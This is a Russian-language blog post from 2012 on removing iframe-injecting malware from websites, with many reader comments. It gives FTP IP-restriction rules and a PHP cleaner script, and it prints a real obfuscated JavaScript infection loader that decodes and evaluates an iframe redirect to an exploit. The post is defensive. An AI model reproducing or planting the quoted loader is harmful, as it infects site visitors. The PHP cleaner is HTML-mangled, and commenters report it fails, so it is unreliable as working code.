Удаляем вирус с сайта или борьба с iFrame на сайте

// 3 мая 2012 // WEB, Безопасность, Программирование

Хотел начать свой блог с лирики, но выдалась такая неспокойная неделя, что решил поприветствовать Всех статьей по существу. Привет!

А вся неделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами.

Не успевал я за день очищать все файлы в ручном режиме и менять пароли, как на следующий день происходило всё снова – пароли каким-то образом утекали и скрипты все вновь успешно по FTP троянились.

Пятница недели стала последней каплей и я потратил день на защиту своих серверов:

  1. Настроил на серверах .ftpaccess – ограничив тем самым доступ по фтп к серверам со всех IP кроме своей статики;
  2. Написал скрипт автоудаления из всех файлов .js iframe’ов, вирусов. Итак, по порядку.

Заражение файлов сайта происходит банальной вставкой iframe кода в файлы по ftp, раньше я чаще наблюдал вставки в .php, .html файлы – что приводило к полному падению сайтов, сегодня зловреды стали добрее и стали писать вставки исключительно в файлы с расширением .js – JavaScript. IFRAME вставки пишутся в конец файла и могут быть как в явном виде <iframe></iframe> (легко обнаруживаются антивирусами), так и в кодированном (работа различных iframe крипторов), например:

try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);}

Весь этот символьный хаос в результате работы JavaScript превращается в легко читающийся HTML код iframe вставки и загружает пользователю сайта тело вируса посредством работы эксплойта. Опираясь на данный минимум теории начнем защищаться от заражения сайтов.

Настройка .ftpaccess – ограничиваем доступ по фтп к серверам

Вирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути – и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своего сервера, папки с сайтов файл .ftpaccess с содержимым:

Allow from xx.xx.xx.xx
Allow from xx.xx.xx.xx
Deny from all

Где xx.xx.xx.xx — это ваш IP, с которого разрешена активность по FTP, всем остальным досвидания.

За выделенным IP звоним провайдеру!

Если все же вы не можете получить выделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайдером, например это будет выглядеть так:

Allow 212.32.5.0/26
Allow 158.152.0.0/16
Deny from all

Это позволит ограничить доступ взломщикам к вашим серверам.

Скрипт автоудаления из всех файлов вставок iframe’ов

После того как сервера были защищены, я приступил к написанию скрипта, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на наличие в содержимом iframe’ов. Результатом работы явился следующий скрипт, который удаляет вставки вредоносного кода из страниц сайта, в конкретном примере из .js скриптов:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!--?php // iframe удалятор от  gloosoft.net $virus_start = 'try{q=document.createElement'; //начало вредоносного кода $virus_end = 'q=ss;e(q);}'; //конец вредоносного кода $skip_files = array ('clean.php'); //название файла - который следует проигнорировать при проверке $del = true; //лечим(true) или просто смотрим кол-во зараженных файлов(false) $dir = getcwd().'/'; //корень сайта $num_infected = 0; function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {     if ($dh = opendir($dir)) {         while (($file = readdir($dh))!== false) {             if ($file === '.' || $file === '..') {                 continue;             }             if (is_file($dir . $file)) {                 if (is_array($types)) {                     if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {                         continue;                     }                 }                 $callback($baseDir, $file);             }elseif($recursive &#038;&#038; is_dir($dir . $file)) {                 dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);             }         }         closedir($dh);     } } function del_virus($fdir, $ffile) {     $flag = false;     $filename = $fdir.$ffile;     echo $filename;         $file=file($filename);         foreach($file as $k=-->$v)
	{
		$virus_text = $GLOBALS['virus_start'];
		$pos_start = stripos($v, $GLOBALS['virus_start']);
		$pos_end = stripos($v, $GLOBALS['virus_end']);
 
		$virus_text = substr($v, $pos_start, $pos_end);
 
		if ($virus_text != "")
		{
		        if (!stristr($v, $virus_text))
			{
		        	$nfile[]=$v;
			}
		        else
		        {
			         if (!$flag) {
			            $flag=true;
			            if (in_array($ffile, $GLOBALS['skip_files']))
			            	echo " - skipped";
			            else
			            {
			                echo " - infected";
			                $GLOBALS['num_infected']++;
			            }
			         }
		        }
		}
		else
		{
			$nfile[]=$v;
		}
	}
 
	 if ( $GLOBALS['del'] ) {
		$file=fopen($filename,"w");
		 fwrite($file,implode($nfile,""));
		            fclose($file);
	}
}
 
dir_walk('del_virus', $dir, array('js'), true, $dir );
 
echo "Num infected = $num_infected ";
?&gt;

Пользуйтесь наздоровье, если будут вопросы – задавайте – чем могу, помогу! Код не надо копипастить из статьи – КАЧАЙТЕ ПО ЭТОЙ ССЫЛКЕ .

В одной из следующих статей напишу простейший криптор iframe’ов, что бы вы понимали что же такое Вам в сайты встраивают и для чего.

Антивирус для сайтов САНТИСпустя год после написания этой статьи появилась полноценная бесплатная система безопасности сайтов “САНТИ”, которая включает в себя и все вышеизложенные рецепты и десяток прочих инструментов для лечения сайтов – //santivi.com.

56 комментариев to “Удаляем вирус с сайта или борьба с iFrame на сайте”

  1. Владимир:

    Спасибо! Скрипт помог очистить мой хостинг и файлы от вируса на сайте.

  2. Спасибо большое за скрипт. Реально работает и чистит файлы от вредоносного кода.

    С помощью этого скрипта реально почистили сайты очень быстро. Если бы без скрипта чистили ушло бы раз в 20 времени больше.

    Ребята молодцы, спасибо за скрипт. Такой скрипт теперь очень нужная в “быту” web – дизайнера вещь !!!

  3. CrooKMA:

    Вопрос крайне тупой наверное, но как воспользоваться данным скриптом на joomla 1.5

    • Так же как и везде – положить на сервер, указать начало и конец вредоносных вставок в JS, дать права скрипту на запись и запустить. Только сделайте бекап на всякий случай =)

  4. Дмитрий:

    Здравствуйте, у меня вопрос по вашему скрипту удаления iframe вирусов. Как его установить на Joomla 1.5? то есть куда именно в какую конкретно папку мне его установить и каким образом запустить его ?

  5. Спасибо большое разработчику! Не получалось настроить скрипт, постучал в аську, Gloo мне сам подправил скрипт и отправил! ПОБОЛЬШЕ ТАКИХ ЛЮДЕЙ!

  6. Игорь:

    Еще не опробовал скрипт. Но хочу спросить – сам очаг, то что генерировало вредоносный код куда дели? Чтото про него не слово.
    Руками просто удалял – через пару минут код возвращался, так и не нашел до сих пор заразу.

    • Очаг всегда ищите глазами и руками =) это может быть скрипт который вам положили на хостинг, если это скрипт то он должен регулярно запускаться – если он должен регулярно запускаться – то ищите его инклюд в index.php, в шаблонах и так далее – вобщем в php файлах который учавствуют в генерации контента сайта и самого сайта. Вариант два – файл запускается кроном из вне, тогда просто ищите файл с недавней датой добавления на хост – смотрите что внутри и удаляйте если это гадость.

  7. Валентин:

    Игорь, я тоже хапнул. На хостинге 8 сайтов лежит, все заражены. Удаляю код и он вновь появляется, а еще домены в iframe меняются, бьюсь вторые сутки. Танцы с бубном. Что делать ума не приложу…

  8. Денис:

    Отличный сайт!!! Спасибо большое админу за помощь

  9. Денис:

    Здравствуйте,
    Спасибо за предоставленный скрипт, но если можно, опишите как все таки его настроить подробнее для конкретного сайта, что бы удалить эти ifram-ы. Для тех кто не очень силен в php.

  10. […] на статистику посещения своего поста про iframe вирусы на сайте и способы их лечения, посчитал общее колличество […]

  11. Здравствуйте! Не подскажете, как вставить ваш замечательный код? У меня два сайта закрепли из-за iFrame
    Спасибо

    • Просто кинуть на сервер скрипт и настроить его на маску iframe вставки вашей, дальше запускаете и он все что подходит под маску удаляет

  12. Куда вставить этот код и как? У меня форум, а в программировании – нуб нубом :/

    • Ну тогда лучше самостоятельно не лезть, хотя, стучите в месенджер попробуем удалить вирусы с вашего сайта

  13. Простите я не очень в этом разбираюсь но очень хочу узнать а куда этот кодик мне вставить простите что отвлекаю вас

  14. Здравствуйте!
    У меня три сайта заражены этим вирусом.
    Serenada.ru, krupenin.ru, fabrika-idei.ru.
    Самостоятельно удалить вирус не получилось – возвращается.
    Можете помочь? Готов оплатить ваши услуги.
    Спасибо

  15. GLuk:

    я новенький в этих делах,потому я хочу спросить “как узнать где находиться корневая папка”

  16. Проблема с iframe-вставками. Как же их удалить?

  17. Спасибо огромное автору!
    За короткое время сайт чистенький и гугл вновь вернул его в рейтинг. Еще раз спасибо.

  18. Доброжелатель:

    Спасибо автору. Не только за полезную статью, но и за помощь в личной беседе! Приятно было пообщаться!

  19. Здравствуйте. Тема еще жива.
    У меня постоянно какие-то вредоносные коды на сайте появляются. Раз в 2 дня удаляю. Хостер пишет, что CMS нужно обновить, но у меня она новая… Зашла и зарегистрировала свой сайт по вашей ссылке, что бы скачать САНТИ, мне предложили для скачивания: 7z файл; zip файл; и
    Документация по установке и использованию САНТИ 0.4.
    И еще Windows-приложение для работы с бекап-архивами САНТИ. Это все скачивать подряд? А куда устанавливать, в плагины? Иногда меня можно найти в скайпе Liliya_X, но лучше по почте…

  20. Pavel:

    Подскажите, почему у меня скрипт удаляет вредный код только если на директории и файлы выставить права 777? Также не пойму, что указать чтобы поиск был по всему сайту. Если указываю конкретно /js/ то идет, а если / не ищет ?!

  21. Скрипт поправил, в корень сайта положил, в index.php на выполнение прописал. Захожу в браузере на сайт, вижу все зараженные файла перечислены на странице, а в конце строчка Num infected = 0. Проверяю js файлы на сервере – тело вируса не удалено.
    Подскажите, что не так сделал?

  22. Светлана:

    Уважаемый Автор!
    Подскажите, пожалуйста, как избавиться от бесконечной загрузки iframe.php

  23. Здравствуйте. На сайте обнаруживается подозрение на iframe. Подскажите, плиз, что делать. Не сильна я во всех этих кодах. Если можно, то на электронку ответьте. Заранее спасибо.

  24. Посмотрела. Это я TV онлайн установила. Там в коде есть iframe. Жаль, что придется удалять.

  25. А 2 ip все-равно показывает, что есть подозрение… Не понимаю…

  26. Здравствуйте. Помогите, плиз, разобраться. Я на своем сайте использую файлообменник turbobit.net для раздачи своих файлов. Недавно все файлы стали скачиваться с расширением exe вместо rar. Похоже появился вирус. В тех поддержке сайта говорят обращаться в turbobit. Туда достучаться пока не получается. Что мне делать, как чайнику?

  27. Дмитрий:

    Что то у меня не получается, все вроде настроил, но с другого айпи захожу и все равно имеет доступ по фтп.
    Куда нужно ложить этот файл, я положил в самый корень где папка www?

  28. Помогите, если это возможно, на сайте выдается ВРЕДОНОСНОЕ ПО. Поставить САНТИ на хостинг не получается. Я в этом полный чайник. Два года назад прошла курсы “Твой Старт”. Нахваталась сайтов и забросила их. А вот сейчас пришли тугие времена, и я вновь обратилась к сайтам. Оплатить профи не смогу, т.к. живу в АТО (Донецк). Все банки и банкоматы заблокированы. Зарплату не получаем. Вот и схватилась за сайты, как за спасательный круг.

  29. Егор:

    Помогите разобраться с запуском, в корень закинул, прописываю в адресной строке его запуск…он мне просто напросто выдает адреса и файлы которые лежат в папке js

  30. Леонид:

    Помощь по удалению вредоносного кода с сайта вирусов.
    Есть как платные услуги так и бесплатные . Консультация отчёты по роботе обращайтесь

  31. Ярослав:

    Щиро вдячний автору за корисну ынформацыю!!!

  32. Максим:

    Здравствуйте.Очень нужна ваша помощь.У меня на сайте вирус iframe.
    Он находится у меня в базе данных.Я его нашел и удалил.Проверил на вирус файл, все нормально.Зато после этого я импортировал его обратно на хостинг, пишет что сайт недостуаен.Вот код:
    </iframe

  33. Здравствуйте! Помогите, я новичок! Установил //santivi.com, Выбрал “Поиск и удаление вредоносных вставок” – нужно указать начало и конец вредоносной вставки – что это? Что нужно прописать?

  34. Здравствуйте.
    В процессе наполнения и запуска нового сайта наткнулся на вредоносные вставки.можете помочь с лечением. С нетом не дружу.

  35. Марина:

    Добрый день, сегодня с обновлением материала сайта, начали высвечиваться вставки, помоги мне от них избавится

  36. Сергей:

    Скрипт поправил, в корень сайта положил, в index.php на выполнение прописал. Захожу в браузере на сайт, вижу все зараженные файла перечислены на странице, а в конце строчка Num infected = 0. Проверяю js файлы на сервере – тело вируса не удалено.
    Подскажите, что не так сделал?

Оставить комментарий